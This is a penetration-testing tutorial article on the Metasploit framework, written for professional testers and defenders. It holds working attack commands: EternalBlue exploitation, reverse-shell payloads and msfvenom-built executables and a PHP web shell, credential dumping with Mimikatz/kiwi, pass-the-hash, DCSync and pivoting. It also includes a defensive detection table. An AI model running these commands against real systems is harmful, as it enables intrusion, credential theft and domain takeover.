Technical Deep Dive

Metasploit: A Deep Dive into the Exploitation Framework

> msfconsole -q && echo 'ready'_

Peter Bassill 28 October 2025 18 min read
metasploit exploitation meterpreter post-exploitation penetration testing frameworks

From "vulnerable" to "compromised — here's the proof."

Nmap tells you a service is running. Nessus tells you the service is vulnerable. Metasploit tells you what an attacker can do about it. It's the framework that turns a CVE number into a shell, a shell into domain credentials, and domain credentials into evidence that the organisation's most sensitive data is accessible — all documented, timestamped, and reproducible.

Created by H.D. Moore in 2003 and now maintained by Rapid7, Metasploit is the most widely used exploitation framework in penetration testing. The open-source Metasploit Framework (MSF) contains over 2,300 exploits, 600 payloads, and thousands of auxiliary and post-exploitation modules. It's not a single tool — it's a platform that provides a consistent interface for exploit development, payload generation, exploitation, post-exploitation, and pivoting.

This deep dive covers the framework as professional penetration testers use it: not as a point-and-click attack tool, but as a structured exploitation platform where every action is logged, every compromise is evidenced, and every step serves the objective of producing a clear, defensible pen test report.

Legal Notice

Metasploit is a legitimate security testing tool used by professionals worldwide. The techniques described in this article must only be used against systems you own or have explicit written authorisation to test. Unauthorised use of exploitation tools is illegal under the Computer Misuse Act 1990 (UK), the Computer Fraud and Abuse Act (US), and equivalent legislation in most jurisdictions.


How the framework is organised.

Metasploit's power comes from its modular architecture. Every capability — every exploit, every payload, every post-exploitation technique — is a module that can be loaded, configured, and executed independently. Understanding the module types is the foundation for using the framework effectively.

Module Type What It Does Example
Exploits Code that triggers a vulnerability in a target system to deliver a payload. Exploits are organised by platform and service: exploit/windows/smb/, exploit/linux/http/, exploit/multi/misc/. exploit/windows/smb/ms17_010_eternalblue — the exploit that powered WannaCry, targeting SMBv1 on unpatched Windows systems.
Payloads Code delivered by the exploit that runs on the target after successful exploitation. Payloads range from simple command execution to full-featured remote access agents (Meterpreter). windows/x64/meterpreter/reverse_tcp — a staged Meterpreter payload that connects back to the attacker over TCP.
Auxiliary Modules that perform tasks other than exploitation: scanning, enumeration, fuzzing, denial-of-service testing, brute-forcing, and service fingerprinting. The reconnaissance and enumeration workhorse. auxiliary/scanner/smb/smb_ms17_010 — scans a range for EternalBlue vulnerability without exploiting it.
Post-exploitation Modules that run after a system is compromised: credential harvesting, privilege escalation, persistence, lateral movement, and data collection. post/windows/gather/hashdump — extracts local password hashes from a compromised Windows system.
Encoders Transform payloads to avoid signature-based detection by antivirus and IDS. Encode the payload's byte sequence without changing its functionality. x86/shikata_ga_nai — polymorphic XOR encoder, historically effective against AV (now widely signatured).
Evasion Purpose-built modules for generating payloads that bypass specific security products. More sophisticated than encoders — they generate executables designed to evade modern endpoint detection. evasion/windows/windows_defender_exe — generates an executable specifically crafted to bypass Windows Defender.

msfconsole — the interface where everything happens.

msfconsole is the primary interface to the Metasploit Framework. It provides a command-line environment for searching, loading, configuring, and executing modules — and for managing the database of hosts, services, and credentials discovered during the engagement.

Core Console Commands — The Essentials
# Launch the console
msfconsole -q # -q suppresses the ASCII art banner

# Search for modules
search eternalblue # Find all modules related to EternalBlue
search type:exploit platform:windows smb # Filtered search
search cve:2021-44228 # Search by CVE (Log4Shell)

# Select and configure a module
use exploit/windows/smb/ms17_010_eternalblue
show options # Display required/optional settings
set RHOSTS 10.0.1.50 # Set target
set LHOST 10.0.0.5 # Set attacker IP (for reverse payloads)
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Execute
check # Test if target is vulnerable (not all modules support this)
exploit # Launch the exploit
exploit -j # Run as background job

# Session management
sessions # List active sessions
sessions -i 1 # Interact with session 1
sessions -K # Kill all sessions (cleanup)

Staged, stageless, and choosing the right one.

The payload is the code that runs on the target after the exploit succeeds. Metasploit's payload naming convention encodes critical information: the platform, architecture, payload type, and communication method. Understanding this convention is the difference between a payload that works and one that doesn't.

Payload Type Naming Convention How It Works When to Use
Staged windows/x64/meterpreter/reverse_tcp (forward slash before handler type) A small first-stage (stager) is delivered by the exploit. The stager connects back to the attacker and downloads the larger second-stage payload (Meterpreter). Smaller initial payload — fits in tighter exploit buffers. When the exploit has a limited payload size. When you need the smallest possible initial footprint. Most common choice for initial exploitation.
Stageless windows/x64/meterpreter_reverse_tcp (underscore before handler type) The entire payload is delivered in a single stage. Larger initial payload but no need for a second connection to download the main stage. Self-contained. When the exploit buffer is large enough. When the network is unreliable and the second-stage download might fail. When you want to minimise the number of network connections.
Common Payload Selection
# Meterpreter reverse TCP (staged) — default choice
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Meterpreter reverse HTTPS (staged) — blends with web traffic
set PAYLOAD windows/x64/meterpreter/reverse_https

# Simple command shell — when Meterpreter is detected by EDR
set PAYLOAD windows/x64/shell/reverse_tcp

# Linux Meterpreter
set PAYLOAD linux/x64/meterpreter/reverse_tcp

# Stageless — for unreliable networks or tight timelines
set PAYLOAD windows/x64/meterpreter_reverse_tcp

# Reverse HTTPS through a proxy — for heavily filtered networks
set PAYLOAD windows/x64/meterpreter/reverse_https
set HttpProxyHost 10.0.1.1
set HttpProxyPort 8080

The choice between reverse_tcp, reverse_https, and other communication methods depends on the target's network controls. reverse_tcp is the simplest and most reliable — but it's also the most easily detected and blocked. reverse_https blends with normal web traffic and is harder to distinguish from legitimate HTTPS connections. On heavily monitored networks, HTTPS payloads communicating over port 443 are significantly harder for network security tools to flag.


The payload that turns exploitation into a full-featured operation.

Meterpreter (Meta-Interpreter) is Metasploit's advanced payload — a memory-resident agent that runs entirely in RAM without writing to disk, communicates over encrypted channels, and provides a rich set of post-exploitation commands. It's the difference between a raw command shell and a structured platform for credential harvesting, privilege escalation, pivoting, and evidence collection.

Essential Meterpreter Commands
# System information
sysinfo # OS, hostname, architecture, domain
getuid # Current user context
getpid # Current process ID

# Privilege escalation
getsystem # Attempt auto-escalation to SYSTEM

# Credential harvesting
hashdump # Dump local SAM hashes
load kiwi # Load Mimikatz extension
creds_all # Dump all credentials from memory
kiwi_cmd lsadump::dcsync /user:krbtgt # DCSync attack

# Network enumeration
ipconfig # Network interfaces (dual-homed?)
arp # ARP table — nearby hosts
route # Routing table — reachable networks
portfwd add -l 8080 -p 80 -r 10.0.2.100 # Port forward

# File operations
download C:\\Users\\admin\\Documents\\sensitive.docx
upload /tools/linpeas.sh /tmp/

# Process management
ps # List running processes
migrate 1234 # Migrate to another process (evasion)

# Pivoting
run autoroute -s 10.0.2.0/24 # Route through this session
background # Background session (return to msf>)

The load kiwi command deserves particular attention. Kiwi is Metasploit's built-in Mimikatz integration — it extracts plaintext passwords, NTLM hashes, and Kerberos tickets directly from the memory of a compromised Windows system. On a domain controller (or with sufficient privileges), kiwi_cmd lsadump::dcsync performs the DCSync attack — replicating the domain's password database as if Meterpreter were a domain controller. This is frequently the step that produces the "Domain Admin achieved" finding in a pen test report.


Tracking hosts, services, and credentials across the engagement.

Metasploit includes a PostgreSQL database that tracks every host, service, vulnerability, and credential discovered during the engagement. Combined with Nmap import, it creates a centralised intelligence picture that the tester uses to select targets, track progress, and generate evidence.

Database Operations — From Nmap to Exploitation
# Initialise the database
msfdb init # Run once to set up PostgreSQL

# In msfconsole:
db_status # Confirm database connection
workspace -a acme_2025 # Create engagement workspace

# Import Nmap scan results
db_import /home/tester/scans/acme_full.xml

# Query the database
hosts # All discovered hosts
hosts -S 'Windows' # Filter: Windows only
services -p 445 # All hosts with SMB
services -p 445 -R # Set as RHOSTS automatically
vulns # All known vulnerabilities
creds # All harvested credentials

# Run a vulnerability scan directly from Metasploit
use auxiliary/scanner/smb/smb_ms17_010
services -p 445 -R # Feed all SMB hosts to the scanner
run # Results stored in database automatically

The workflow is: scan with Nmap, import into Metasploit, query the database to identify targets, run auxiliary scanners to confirm vulnerabilities, exploit confirmed targets, and harvest credentials — all tracked in the database. At the end of the engagement, the database contains a complete record of every host, service, vulnerability, exploitation attempt, and credential — forming the evidence base for the report.


Using a compromised host to reach networks beyond direct access.

Pivoting is the process of using a compromised system to access network segments the attacker can't reach directly. Metasploit's autoroute and SOCKS proxy capabilities make pivoting seamless — once configured, all Metasploit modules and external tools can route through the compromised host as if the attacker were on the target network.

Pivoting — From Single Compromise to Network-Wide Access
# Scenario: Tester (10.0.0.5) compromised host (10.0.1.50)
# Host has second interface on 10.0.2.0/24 (server VLAN)

# In Meterpreter session on 10.0.1.50:
ipconfig # Confirm dual-homed (two interfaces)
run autoroute -s 10.0.2.0/24 # Route 10.0.2.0/24 through session
background

# Now all Metasploit modules can reach 10.0.2.0/24
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.2.0/24
set PORTS 22,80,443,445,3389
run # Scans server VLAN through the pivot

# For external tools (Nmap, crackmapexec, etc.):
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j # SOCKS4a proxy on localhost:1080

# In a new terminal:
proxychains nmap -sT -Pn -p445 10.0.2.0/24 # Nmap through pivot
proxychains crackmapexec smb 10.0.2.0/24 # CrackMapExec through pivot

The combination of autoroute and the SOCKS proxy is one of Metasploit's most powerful capabilities. autoroute handles routing for Metasploit's own modules. The SOCKS proxy extends this to every external tool that supports proxy chains — Nmap, CrackMapExec, Gobuster, Bloodhound's SharpHound collector, and any other tool the tester needs to run against the otherwise-unreachable network segment.


How Metasploit fits into a structured pen test.

Metasploit isn't used in isolation — it's one tool in a chain that starts with reconnaissance and ends with a report. Here's how it fits into a typical internal infrastructure engagement.

Engagement Workflow — From Scan to Domain Compromise
# Phase 1: Reconnaissance (Nmap → Metasploit database)
nmap -sS -sV -O -oX acme_scan.xml 10.0.1.0/24
# In msfconsole:
db_import acme_scan.xml # 247 hosts, 1,823 services imported

# Phase 2: Vulnerability identification (auxiliary scanners)
use auxiliary/scanner/smb/smb_ms17_010
services -p 445 -R # 68 hosts with SMB
run # Result: 3 hosts vulnerable to EternalBlue

# Phase 3: Exploitation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.142 # Target: FILESRV01
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.5
exploit # Meterpreter session opened

# Phase 4: Post-exploitation
getsystem # Escalate to NT AUTHORITY\SYSTEM
load kiwi
creds_all # 14 domain credentials harvested

# Phase 5: Lateral movement via pivot
ipconfig # Second interface: 10.0.2.0/24
run autoroute -s 10.0.2.0/24
background
use exploit/windows/smb/psexec
set RHOSTS 10.0.2.10 # Target: DC01
set SMBUser admin_jsmith # Harvested credential
set SMBPass aad3b435b51404eeaad3b435b51404ee:5f4dcc3b... # Pass-the-hash
exploit # Meterpreter on DC01

# Phase 6: Domain compromise
load kiwi
kiwi_cmd lsadump::dcsync /user:krbtgt # DCSync — domain fully compromised

# Phase 7: Evidence collection
# All sessions, credentials, and actions logged in the database
creds # All credentials for the report
hosts # All compromised hosts for the report
vulns # All vulnerabilities for the report

msfvenom — standalone payloads for every scenario.

msfvenom is Metasploit's standalone payload generator — used to create executable files, shellcode, scripts, and web payloads outside the framework. When the exploit isn't a Metasploit module — when the tester needs to deliver a payload via social engineering, a file upload vulnerability, or a manual exploitation technique — msfvenom generates the payload as a standalone file.

msfvenom — Common Payload Generation
# Windows executable (reverse shell)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f exe -o shell.exe

# Linux ELF binary
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f elf -o shell.elf

# Web payload (PHP reverse shell)
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f raw -o shell.php

# Shellcode for manual exploit development
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.5 LPORT=4444 -f python -b '\x00'

# List all available formats
msfvenom --list formats # exe, elf, raw, python, c, csharp, ps1...

# Set up the handler to catch the callback
# In msfconsole:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.5
set LPORT 4444
exploit -j # Background handler — waiting for callback

What defenders should know about detecting Metasploit.

Understanding Metasploit isn't just for attackers — defenders benefit from knowing what their adversaries are using. Metasploit's default configurations produce detectable signatures that a well-tuned SOC can identify.

Detection Opportunity What to Look For Where
Default Meterpreter traffic TLS connections on non-standard ports with self-signed certificates. Meterpreter's default TLS certificate has a recognisable serial number and issuer pattern. Network monitoring / IDS. Flag outbound TLS connections to non-standard ports with self-signed certs and check certificate metadata.
Named pipe indicators Metasploit's PsExec module creates a named pipe with a default name pattern on the target. Default service names and binary names are also recognisable. Windows Event Logs (Event ID 7045 — new service installation). EDR telemetry monitoring named pipe creation.
Mimikatz / Kiwi in memory The load kiwi command loads Mimikatz into the Meterpreter process. This triggers in-memory signatures that most modern EDR products detect. EDR / endpoint telemetry. AMSI (Antimalware Scan Interface) detections. Process memory scanning.
DCSync traffic DCSync generates Directory Replication Service (DRS) traffic from a non-domain-controller host — a highly anomalous event that should trigger an immediate alert. Domain controller event logs (Event ID 4662 with specific GUIDs for replication). SIEM rules monitoring DRS requests from non-DC hosts.
Staged payload download Staged payloads generate a small initial connection followed by a larger download — the second stage. The traffic pattern (small outbound, large inbound) is detectable. Network traffic analysis. Proxy logs showing unusual download patterns from internal hosts.

The commands you'll use on every engagement.

Metasploit Quick Reference
# Setup
msfdb init && msfconsole -q
workspace -a engagement_name
db_import scan.xml

# Search and select
search cve:2017-0144
use exploit/windows/smb/ms17_010_eternalblue
show options && set RHOSTS 10.0.1.50

# Exploit and escalate
exploit -j
sessions -i 1 && getsystem

# Harvest credentials
load kiwi && creds_all

# Pivot
run autoroute -s 10.0.2.0/24 && background

# Generate standalone payload
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.0.0.5 LPORT=443 -f exe -o payload.exe

The bottom line.

Metasploit is the framework that bridges the gap between vulnerability identification and exploitation evidence. Nmap finds the service. Nessus identifies the vulnerability. Metasploit proves what an attacker can do with it — and does so in a structured, logged, reproducible way that produces the evidence a pen test report requires.

Its strength is the modular architecture: exploits, payloads, auxiliaries, and post-exploitation modules that can be combined for virtually any scenario. Its practical value is the database that tracks every host, service, credential, and action across the engagement — creating the audit trail that turns a demonstration into a finding, and a finding into a remediation recommendation.

For defenders, understanding Metasploit is equally valuable. Knowing how the framework operates — its default signatures, its traffic patterns, its named pipes and service names — provides the detection opportunities that a well-tuned SOC can use to identify Metasploit-based attacks in progress. The same framework that helps the pen tester demonstrate risk helps the defender detect and prevent it.


Every exploitation step logged, evidenced, and translated into actionable findings.

Our testers use Metasploit as part of a disciplined methodology where every compromise is documented, every credential is tracked, and every exploitation step produces the evidence that makes findings undeniable and remediations specific.